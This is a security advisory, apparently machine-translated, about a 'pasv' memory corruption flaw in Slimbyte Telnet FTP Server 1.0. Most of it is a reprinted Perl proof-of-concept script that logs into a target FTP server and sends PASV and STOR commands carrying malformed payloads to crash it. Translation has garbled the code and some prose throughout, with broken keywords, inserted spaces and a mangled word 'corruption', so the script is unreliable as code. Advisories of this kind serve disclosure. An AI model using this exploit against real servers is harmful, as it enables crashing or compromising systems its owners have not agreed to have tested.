Telnet FTP Server 'pasv' Command Remote Memory Corruption Vulnerability

Release date:
Updated on:

Affected Systems:
Slimbyte Telnet FTP Server 1.0 build (1.218)
Description:
--------------------------------------------------------------------------------
Bugtraq id: 54462

Telnet is used to remotely log on to the FTP server.

Telnet FTP Server 1.0 build (1.218) has a memory corruption vulnerability. Attackers can exploit this vulnerability to execute arbitrary code in affected applications.

<* Source: coolkaveh
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Coolkaveh () provides the following test methods:

# Exploit Title: Telnet Ftp Server <= Memory resume uption PoC
# Crash: http://img40.imageshack.us/img40/595/ftpqm.jpg
# Date: July 7, 2012
# Author: coolkaveh
# Coolkaveh () rocketmail com
# Https://twitter.com/coolkaveh
# Vendor Homepage: http://www.slimbyte.sufx.net/
# Also download link available at: http://telnet-ftp-server.en.softonic.com/
# Version: 1.0 build (1.218)
# Tested on: windows 7 SP1
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~
# Crappy Telnet Ftp Server Memory resume uption PoC
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~
#! /Usr/bin/perl-w
Use IO: Socket;
Use Thread;
$ | = 1;
$ Host = shift;
$ Port = shift | "21 ";
If (! Defined ($ host )){
Print ("usage: $0 \ $ host [\ $ port] \ n ");
Exit (0 );
}
$ Check_first = IO: Socket: INET-> new (PeerAddr => $ host, PeerPort => $ port, Timeout => 60 );
If (defined $ check_first ){
Print "$ host-> $ port is alive. \ n ";
$ Check_first-> close;
} Else {
Die ("$ host-> $ port is closed! \ N ");
}
@ Bf1 = (
'A' x5,
);
@ Bf2 = (
'!)!) ',
);
@ Bf3 = (
'0 ',
);
@ T = () bf1;
Push (@ t, @ bf2 );
Push (@ t, @ bf3 );
Sub check (){
# Thread-> self-> detach;
$ Sock = IO: Socket: INET-> new (PeerAddr => $ host, PeerPort => $ port, Timeout => 60 );
If (defined $ sock ){
# Print "$ host-> $ port is alive. \ n ";
Undef ($ content_tmp );
$ Sock-> recv ($ content_tmp, 100,0 );
If (length ($ content_tmp)> 0 ){
$ Sock-> close;
Return 1;
} Else {
$ Sock-> close;
Return 0;
}
} Else {
# Print ("$ host-> $ port is closed! \ N ");
Return 0;
}
}
# Set PASV Mode send Socket
Sub send_sock ($ ){
$ Send_port_num = shift;
Thread-> self-> detach;
$ Send_sock_tmp = IO: Socket: INET-> new (PeerAddr => $ host,
PeerPort => $ send_port_num, Proto => 'tcp ', Timeout => 30 );
If (defined ($ send_sock_tmp )){
$ Send_sock_tmp-> recv ($ mem, 100,0 );
Print "$ mem \ n ";
$ Mem = 0;
$ Send_sock_tmp-> close;
Undef ($ send_port_num );
Return 1;
} Else {
Undef ($ send_port_num );
Return 0;
}
}
Print "Please enter the real username :";
$ Real_username = <STDIN>;
Chop ($ real_username );
Print "Please enter the real password :";
$ Real_password = <STDIN>;
Chop ($ real_password );
@ Cm = (
'Stor ',
'Stor ',
);
$ Sock3 = IO: Socket: INET-> new (PeerAddr => $ host, PeerPort => $ port,
Proto => 'tcp ', Timeout => 30 );
If (defined ($ sock3 )){
$ Sock3-> recv ($ content, 100, 0 );
Print "$ content \ n ";
Sleep (2 );
$ Sock3-> send ("USER". "$ real_username \ r \ n", 0 );
Sleep (2 );
$ Sock3-> recv ($ content, 100, 0 );
Print "$ content \ n ";
Sleep (2 );
$ Sock3-> send ("PASS". "$ real_password \ r \ n", 0 );
Sleep (2 );
$ Sock3-> recv ($ content, 100, 0 );
Print "$ content \ n ";
Sleep (2 );
If ($ content = ~ M // ^ 230 /){
$ Sock3-> close;
} Else {
$ Sock3-> close;
Die ("Username or Password is wrong! \ N ");
}
} Else {
Die "$ host-> $ port is closed! \ N ";
}
L_V_J: undef ($ cmd );
C_L: foreach $ cmd (@ cm ){
Foreach $ poc (@ t ){
LABEL5: $ sock4 = IO: Socket: INET-> new (PeerAddr => $ host,
PeerPort => $ port, Proto => 'tcp ', Timeout => 30 );
If (defined ($ sock4 )){
$ Sock4-> recv ($ content, 100, 0 );
Print "$ content \ n ";
Sleep (2 );
$ Sock4-> send ("USER". "$ real_username \ r \ n", 0 );
Sleep (2 );
$ Sock4-> recv ($ content, 100, 0 );
Print "$ content \ n ";
Sleep (2 );
$ Sock4-> send ("PASS". "$ real_password \ r \ n", 0 );
Sleep (2 );
$ Sock4-> recv ($ content, 100, 0 );
Print "$ content \ n ";
Sleep (2 );
If ($ cmd eq 'stor ')){
$ Sock4-> send ("PASV \ r \ n", 0 );
Sleep (2 );
$ Sock4-> recv ($ content, 100, 0 );
Print "$ content \ n ";
Sleep (2 );
If ($ content = ~ M /\((.*),(.*),(.*),(.*),(.*),(.*)\)/){
$ Send_port = $5*256 + $6;
}
}
}
$ Sock4-> send ("$ cmd". "". "$ poc \ r \ n", 0 );
Thread-> new (\ & send_sock, $ send_port );
$ Sock4-> send ("$ cmd". "". "$ poc \ r \ n", 0 );
Sleep (2 );
$ Sock4-> recv ($ content, 100, 0 );
$ Thread3 = Thread-> new (\ & check );
Undef ($ thread3 );
$ Sock4-> send ("QUIT \ r \ n", 0 );
}
}

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Slimbyte
--------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://slimbyte.sufx.net/